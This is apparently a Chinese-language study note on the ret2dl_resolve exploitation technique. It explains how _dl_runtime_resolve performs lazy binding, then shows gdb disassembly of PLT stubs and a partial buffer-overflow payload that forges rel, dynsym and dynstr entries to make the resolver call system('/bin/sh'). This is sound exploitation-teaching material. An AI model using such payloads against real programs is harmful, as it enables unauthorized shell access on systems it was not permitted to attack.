ret_2_dl_resolve

理论背景

在调用动态链接库中的函数时,会触发_dl_runtime_resolve进行延迟绑定。绑定过程需要2个变量:link_map和offset/index。前者在程序中为一静态变量,可通过其访问各dynamic section。后者为rel table的一个offset,用以找到rel结构体。通过rel结构体的r_info字段,可找到对应symbol table的结构体。通过symbol结构体的st_name字段,可找到string table中对应的函数名string。最后通过这个函数名,在动态链接库中找到其对应的GOT地址,写回rel结构体的r_offset字段,并执行这个GOT函数。

整个机制如下图绿色箭头所示。

利用方法

  1. 伪造rel、dynsym和dynstr结构体,确保他们之间的引用关系成立,在伪造的dynstr结构体中写入想要篡改的函数名
  2. 执行_dl_runtime_resolve,其中需要压入参数offset/index指向伪造的rel结构体。最终执行动态链接的函数。

由于_dl_runtime_resolve不是简单的call,在执行前后有以下注意点:

如何找到利用_dl_runtime_resolve的位置
在gdb中查看调用

0x804844c                  call   0x8048300 [read@plt](mailto:read@plt)
0x8048300 <read@plt+0>     jmp    DWORD PTR ds:0x804a00c  << 第一次调用时直接指向@plt+6,即下一条语句
0x8048306 <read@plt+6>     push   0x0				              << 压入offset/index
0x804830b <read@plt+11>    jmp    0x80482f0               << _dl_runtime_resolve的利用入口,位于调用plt函数后的第二个jmp
0x8048310 <alarm@plt+0>    jmp    DWORD PTR ds:0x804a010
0x8048316 <alarm@plt+6>    push   0x8
0x804831b <alarm@plt+11>   jmp    0x80482f0

gef➤  x/10i 0x80482f0
0x80482f0:    push   DWORD PTR ds:0x804a004					 << 压入link_map
0x80482f6:    jmp    DWORD PTR ds:0x804a008					 << core of _dl_runtime_resolve
0x80482fc:    add    BYTE PTR [eax],al
0x80482fe:    add    BYTE PTR [eax],al
0x8048300 [read@plt](mailto:read@plt):    jmp    DWORD PTR ds:0x804a00c
0x8048306 <read@plt+6>:    push   0x0
0x804830b <read@plt+11>:    jmp    0x80482f0

在利用时,伪造完相应的3个结构体后,最后一次溢出时:


payload2 = "A"*n                       # padding to return address
paylaod2 += resolve                    # _dl_runtime_resolve的利用地址(0x80482f0)
paylaod2 += p32(ret_plt_offset)        # 伪造的rel结构体距离.rel.plt section的offset
paylaod2 += p32(0xdeadbeef)            # resolve后的返回地址,可任意填写
paylaod2 += p32(binsh_bss_address)     # address of "/bin/sh",篡改的plt函数(如"system")的参数